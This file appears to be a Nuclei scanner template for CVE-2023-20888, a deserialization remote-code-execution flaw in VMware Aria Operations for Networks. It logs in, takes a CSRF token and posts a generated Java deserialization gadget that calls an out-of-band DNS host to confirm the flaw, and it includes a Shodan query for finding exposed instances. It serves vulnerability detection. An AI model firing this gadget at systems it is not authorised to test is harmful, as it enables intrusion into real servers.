id: CVE-2023-20888 info: name: VMware Aria Operations for Networks - Remote Code Execution author: iamnoooob,rootxharsh,pdresearch severity: high description: | Aria Operations for Networks contains an authenticated deserialization vulnerability. A malicious actor with network access to VMware Aria Operations for Networks and valid 'member' role credentials may be able to perform a deserialization attack resulting in remote code execution. remediation: | Apply the latest security patches or updates provided by VMware to mitigate this vulnerability. reference: - https://www.vmware.com/security/advisories/VMSA-2023-0012.html - https://nvd.nist.gov/vuln/detail/CVE-2023-20888 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2023-20888 cwe-id: CWE-502 epss-score: 0.24105 epss-percentile: 0.96077 cpe: cpe:2.3:a:vmware:vrealize_network_insight:*:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: vmware product: vrealize_network_insight shodan-query: title:"VMware Aria Operations" tags: cve,cve2023,vmware,aria,rce,authenticated,oast http: - raw: - | POST /api/auth/login HTTP/2 Host: {{Hostname}} Content-Type: application/json;charset=UTF-8 X-Vrni-Csrf-Token: null {"username":"{{username}}","password":"{{password}}","domain":"localdomain"} - | POST /api/events/push-notifications HTTP/2 Host: {{Hostname}} X-Vrni-Csrf-Token: {{csrf}} Content-Type: application/json {"endOffset": "{{ generate_java_gadget("dns", "http://{{interactsh-url}}", "base64") }} "} cookie-reuse: true matchers-condition: and matchers: - type: word part: interactsh_protocol words: - dns - type: status status: - 500 extractors: - type: regex name: csrf group: 1 regex: - 'csrfToken":"([a-z0-9A-Z/+=]+)"' internal: true part: body # digest: 490a0046304402204451e098886b04860d1d91c668f7ec2ab3bf84f7d66f994621d76209e8e39519022021003020b84c080c6bd9e86a4bfb98fe70c39ea548bac2ad739fe60e1919beb1:922c64590222798bb761d5b6d8e72950